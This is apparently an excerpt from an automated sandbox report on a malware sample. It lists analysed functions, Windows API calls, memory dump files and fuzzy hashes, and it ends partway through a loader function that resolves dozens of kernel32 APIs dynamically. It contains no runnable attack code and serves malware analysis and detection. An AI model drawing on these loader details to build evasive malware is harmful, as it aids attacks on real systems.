                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040E345 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: _malloc
                                              • String ID:
                                              • API String ID: 1579825452-0
                                              • Opcode ID: b4485cd48fae1d5c16a1049842e65826fa561338234d1e231ff4bd48e1018ffd
                                              • Instruction ID: 50b39ebf0137400163b796a6df0e44f4e38fcde13c2f8a56ff1b755cff14da4a
                                              • Opcode Fuzzy Hash: b4485cd48fae1d5c16a1049842e65826fa561338234d1e231ff4bd48e1018ffd
                                              • Instruction Fuzzy Hash: A3E065335006156BC7009F4BD404B46BBDCDFA1374B19C86BD804DB292C675E4558B94
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0052F5DA Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                              Download Yara Rule
                                              APIs
                                              • FindCloseChangeNotification.KERNEL32(?,0052F5D8), ref: 0052F5E4
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: ChangeCloseFindNotification
                                              • String ID:
                                              • API String ID: 2591292051-0
                                              • Opcode ID: 0a347a53c4932d6c16fe6f29390dbfdb17e24e238098b98ac2c9f8fbbefeff4f
                                              • Instruction ID: d6e434f8250729541766cc389a99273374a6183117cd9f9234b91f0109d2fef3
                                              • Opcode Fuzzy Hash: 0a347a53c4932d6c16fe6f29390dbfdb17e24e238098b98ac2c9f8fbbefeff4f
                                              • Instruction Fuzzy Hash: AFF0F8B5D012188BCB25CBA4E8597DDBBB4BF48310F1442A9E00572291D3399E85CF50
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0053366C Relevance: 1.5, APIs: 1, Instructions: 22memoryCOMMON
                                              Download Yara Rule
                                              APIs
                                              • HeapCreate.KERNEL32(00000000,00010000,00000000,?,?,00533639,?,?,?,0052874D,00000080), ref: 00533682
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: CreateHeap
                                              • String ID:
                                              • API String ID: 10892065-0
                                              • Opcode ID: 0c6d4d0e939b8a3e08847d8fa42e5d07de276ded88ee7aa4f4a7178a30990f02
                                              • Instruction ID: 31ee0db1e58b75d1b56068f2a71e14cf9bbe37086e69f533e6c0b11370dcb6eb
                                              • Opcode Fuzzy Hash: 0c6d4d0e939b8a3e08847d8fa42e5d07de276ded88ee7aa4f4a7178a30990f02
                                              • Instruction Fuzzy Hash: C4E0E571A00209FFDB10DBA4D90AB48BBB0B754B08F248459E505EB780E6B05F44AF14
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0053362F Relevance: 1.5, APIs: 1, Instructions: 22memoryCOMMON
                                              Download Yara Rule
                                              APIs
                                                • Part of subcall function 0053366C: HeapCreate.KERNEL32(00000000,00010000,00000000,?,?,00533639,?,?,?,0052874D,00000080), ref: 00533682
                                              • RtlAllocateHeap.NTDLL(00000000,00000008,00000000), ref: 0053364E
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Heap$AllocateCreate
                                              • String ID:
                                              • API String ID: 2875408731-0
                                              • Opcode ID: 81c7be0af3fe18e6c8739ce179610345bbc00682316fdb4ff30a01db080e8913
                                              • Instruction ID: e52e2e270e81f7d93949d7b72b28f52ec8cca6931d4a675e5a5d4de8d762d45c
                                              • Opcode Fuzzy Hash: 81c7be0af3fe18e6c8739ce179610345bbc00682316fdb4ff30a01db080e8913
                                              • Instruction Fuzzy Hash: A4E01A70A00209FFDF10ABA4C80AB9D7FB4BB54789F104868B40666240D7B19B809B10
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040D7E1 Relevance: 1.5, APIs: 1, Instructions: 21COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              • __EH_prolog3_catch.LIBCMT ref: 0040D7E8
                                                • Part of subcall function 00417E73: EnterCriticalSection.KERNEL32(00443E48,?,?,?,?,0040D7FC,00000010,00000008,00406580,00406523,00404E8B,00401DB8,?,00401FC0,00000000), ref: 00417EAD
                                                • Part of subcall function 00417E73: InitializeCriticalSection.KERNEL32(338E6ABB,?,?,?,?,0040D7FC,00000010,00000008,00406580,00406523,00404E8B,00401DB8,?,00401FC0,00000000), ref: 00417EBF
                                                • Part of subcall function 00417E73: LeaveCriticalSection.KERNEL32(00443E48,?,?,?,?,0040D7FC,00000010,00000008,00406580,00406523,00404E8B,00401DB8,?,00401FC0,00000000), ref: 00417ECC
                                                • Part of subcall function 00417E73: EnterCriticalSection.KERNEL32(338E6ABB,?,?,?,?,0040D7FC,00000010,00000008,00406580,00406523,00404E8B,00401DB8,?,00401FC0,00000000), ref: 00417EDC
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: CriticalSection$Enter$H_prolog3_catchInitializeLeave
                                              • String ID:
                                              • API String ID: 1641187343-0
                                              • Opcode ID: 0fe7117e8d702abc9f6020838c25570b4284373cef15a3c5112f112ddc3f8415
                                              • Instruction ID: c725a11d677c4c4d64bb70f64ed49949ef7b595d9bf52343cf8267416697ea8c
                                              • Opcode Fuzzy Hash: 0fe7117e8d702abc9f6020838c25570b4284373cef15a3c5112f112ddc3f8415
                                              • Instruction Fuzzy Hash: E4E0123561420597D7B0EFB6C50278976E0AF10764F20857EF9D0AA2D1EA748D849758
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 004240BE Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                              Download Yara Rule
                                              APIs
                                              • HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 004240D3
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: CreateHeap
                                              • String ID:
                                              • API String ID: 10892065-0
                                              • Opcode ID: 350a050a2628c484e603b8a0c7ced59ae98b46371eff69b6ab0fa438a998afe9
                                              • Instruction ID: 79dab72316ac6b177b7687ffe56bb1ff85408bc4179d64b218792f487eb77fd9
                                              • Opcode Fuzzy Hash: 350a050a2628c484e603b8a0c7ced59ae98b46371eff69b6ab0fa438a998afe9
                                              • Instruction Fuzzy Hash: 61D05E3AA507486FDB105FB57C087233BDCE7C43A5F048436B90CC6190E6B4D590CA08
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0041DA75 Relevance: 1.5, APIs: 1, Instructions: 14COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                                • Part of subcall function 0041DBB5: __lock.LIBCMT ref: 0041DBB7
                                              • __onexit_nolock.LIBCMT ref: 0041DA8D
                                                • Part of subcall function 0041D98A: __decode_pointer.LIBCMT ref: 0041D999
                                                • Part of subcall function 0041D98A: __decode_pointer.LIBCMT ref: 0041D9A9
                                                • Part of subcall function 0041D98A: __msize.LIBCMT ref: 0041D9C7
                                                • Part of subcall function 0041D98A: __realloc_crt.LIBCMT ref: 0041D9EB
                                                • Part of subcall function 0041D98A: __realloc_crt.LIBCMT ref: 0041DA01
                                                • Part of subcall function 0041D98A: __encode_pointer.LIBCMT ref: 0041DA13
                                                • Part of subcall function 0041D98A: __encode_pointer.LIBCMT ref: 0041DA21
                                                • Part of subcall function 0041D98A: __encode_pointer.LIBCMT ref: 0041DA2C
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: __encode_pointer$__decode_pointer__realloc_crt$__lock__msize__onexit_nolock
                                              • String ID:
                                              • API String ID: 1316407801-0
                                              • Opcode ID: 5446c6f4a4dd8089d231f527464b726ab61922b3ea6944ee33b294fd49a57143
                                              • Instruction ID: 51b3bf65e1fe49c9eead8dde01d74556d44bbca96fc0459cbbe4b7e023c14773
                                              • Opcode Fuzzy Hash: 5446c6f4a4dd8089d231f527464b726ab61922b3ea6944ee33b294fd49a57143
                                              • Instruction Fuzzy Hash: 43D05EB0D10208EADF10FBB6D80279EB7B06F04319F60825EF018660D3CA7C16819F4D
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00422447 Relevance: 1.5, APIs: 1, Instructions: 4COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              • __encode_pointer.LIBCMT ref: 00422449
                                                • Part of subcall function 004223D5: TlsGetValue.KERNEL32(00000000,?,0042244E,00000000,0042A385,00444300,00000000,00000314,?,00422D17,00444300,Microsoft Visual C++ Runtime Library,00012010), ref: 004223E7
                                                • Part of subcall function 004223D5: TlsGetValue.KERNEL32(00000007,?,0042244E,00000000,0042A385,00444300,00000000,00000314,?,00422D17,00444300,Microsoft Visual C++ Runtime Library,00012010), ref: 004223FE
                                                • Part of subcall function 004223D5: RtlEncodePointer.NTDLL(00000000,?,0042244E,00000000,0042A385,00444300,00000000,00000314,?,00422D17,00444300,Microsoft Visual C++ Runtime Library,00012010), ref: 0042243C
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Value$EncodePointer__encode_pointer
                                              • String ID:
                                              • API String ID: 2585649348-0
                                              • Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
                                              • Instruction ID: 983849ac6de60affdf3ebd0c3bd62101922a6d586bd9a6a6735b84ecca881398
                                              • Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
                                              • Instruction Fuzzy Hash:
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Non-executed Functions

                                              Function 00529380 Relevance: 378.6, APIs: 110, Strings: 106, Instructions: 573libraryloaderCOMMON
                                              Download Yara Rule
                                              APIs
                                              • GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,00528743), ref: 0052938B
                                              • RaiseException.KERNEL32(EF0000FD,00000000,00000000,00000000), ref: 005293A5
                                              • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 005293B4
                                              • GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 005293C8
                                              • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 005293DC
                                              • GetProcAddress.KERNEL32(00000000,CreateFileMappingA), ref: 005293F0
                                              • GetProcAddress.KERNEL32(00000000,CreateFileMappingW), ref: 00529404
                                              • GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00529418
                                              • GetProcAddress.KERNEL32(00000000,DebugBreak), ref: 0052942C
                                              • GetProcAddress.KERNEL32(00000000,DeleteFileA), ref: 00529440
                                              • GetProcAddress.KERNEL32(00000000,EnterCriticalSection), ref: 00529454
                                              • GetProcAddress.KERNEL32(00000000,ExitProcess), ref: 00529468
                                              • GetProcAddress.KERNEL32(00000000,FindClose), ref: 0052947C
                                              • GetProcAddress.KERNEL32(00000000,FindFirstFileA), ref: 00529490
                                              • GetProcAddress.KERNEL32(00000000,FindNextFileA), ref: 005294A4
                                              • GetProcAddress.KERNEL32(00000000,FlushFileBuffers), ref: 005294B8
                                              • GetProcAddress.KERNEL32(00000000,FormatMessageA), ref: 005294CC
                                              • GetProcAddress.KERNEL32(00000000,FreeLibrary), ref: 005294E0
                                              • GetProcAddress.KERNEL32(00000000,GetCurrentProcess), ref: 005294F4
                                              • GetProcAddress.KERNEL32(00000000,GetCurrentProcessId), ref: 00529508
                                              • GetProcAddress.KERNEL32(00000000,GetEnvironmentVariableA), ref: 0052951C
                                              • GetProcAddress.KERNEL32(00000000,GetExitCodeProcess), ref: 00529530
                                              • GetProcAddress.KERNEL32(00000000,GetFileAttributesA), ref: 00529544
                                              • GetProcAddress.KERNEL32(00000000,GetFileAttributesW), ref: 00529558
                                              • GetProcAddress.KERNEL32(00000000,GetFileInformationByHandle), ref: 0052956C
                                              • GetProcAddress.KERNEL32(00000000,GetFileSize), ref: 00529580
                                              • GetProcAddress.KERNEL32(00000000,GetFileTime), ref: 00529594
                                              • GetProcAddress.KERNEL32(00000000,GetFullPathNameA), ref: 005295A8
                                              • GetProcAddress.KERNEL32(00000000,GetFullPathNameW), ref: 005295BC
                                              • GetProcAddress.KERNEL32(00000000,GetLastError), ref: 005295D0
                                              • GetProcAddress.KERNEL32(00000000,GetModuleFileNameA), ref: 005295E4
                                              • GetProcAddress.KERNEL32(00000000,GetModuleHandleA), ref: 005295F8
                                              • GetProcAddress.KERNEL32(00000000,GetPrivateProfileIntA), ref: 0052960C
                                              • GetProcAddress.KERNEL32(00000000,GetPrivateProfileSectionNamesA), ref: 00529620
                                              • GetProcAddress.KERNEL32(00000000,GetPrivateProfileStringA), ref: 00529634
                                              • GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00529648
                                              • GetProcAddress.KERNEL32(00000000,GetSystemTimeAsFileTime), ref: 0052965C
                                              • GetProcAddress.KERNEL32(00000000,GetTempFileNameA), ref: 00529670
                                              • GetProcAddress.KERNEL32(00000000,GetTempPathA), ref: 00529684
                                              • GetProcAddress.KERNEL32(00000000,GetVersionExA), ref: 00529698
                                              • GetProcAddress.KERNEL32(00000000,GetTickCount), ref: 005296AC
                                              • GetProcAddress.KERNEL32(00000000,HeapAlloc), ref: 005296C0
                                              • GetProcAddress.KERNEL32(00000000,HeapFree), ref: 005296D4
                                              • GetProcAddress.KERNEL32(00000000,HeapCreate), ref: 005296E8
                                              • GetProcAddress.KERNEL32(00000000,InitializeCriticalSection), ref: 005296FC
                                              • GetProcAddress.KERNEL32(00000000,DeleteCriticalSection), ref: 00529710
                                              • GetProcAddress.KERNEL32(00000000,LeaveCriticalSection), ref: 00529724
                                              • GetProcAddress.KERNEL32(00000000,LoadLibraryA), ref: 00529738
                                              • GetProcAddress.KERNEL32(00000000,LoadLibraryExA), ref: 0052974C
                                              • GetProcAddress.KERNEL32(00000000,LocalAlloc), ref: 00529760
                                              • GetProcAddress.KERNEL32(00000000,LocalFree), ref: 00529774
                                              • GetProcAddress.KERNEL32(00000000,LockFile), ref: 00529788
                                              • GetProcAddress.KERNEL32(00000000,MapViewOfFile), ref: 0052979C
                                              • GetProcAddress.KERNEL32(00000000,MultiByteToWideChar), ref: 005297B0
                                              • GetProcAddress.KERNEL32(00000000,OpenProcess), ref: 005297C4
                                              • GetProcAddress.KERNEL32(00000000,RaiseException), ref: 005297D8
                                              • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 005297EC
                                              • GetProcAddress.KERNEL32(00000000,SetEnvironmentVariableA), ref: 00529800
                                              • GetProcAddress.KERNEL32(00000000,SetEvent), ref: 00529814
                                              • GetProcAddress.KERNEL32(00000000,SetFilePointer), ref: 00529828
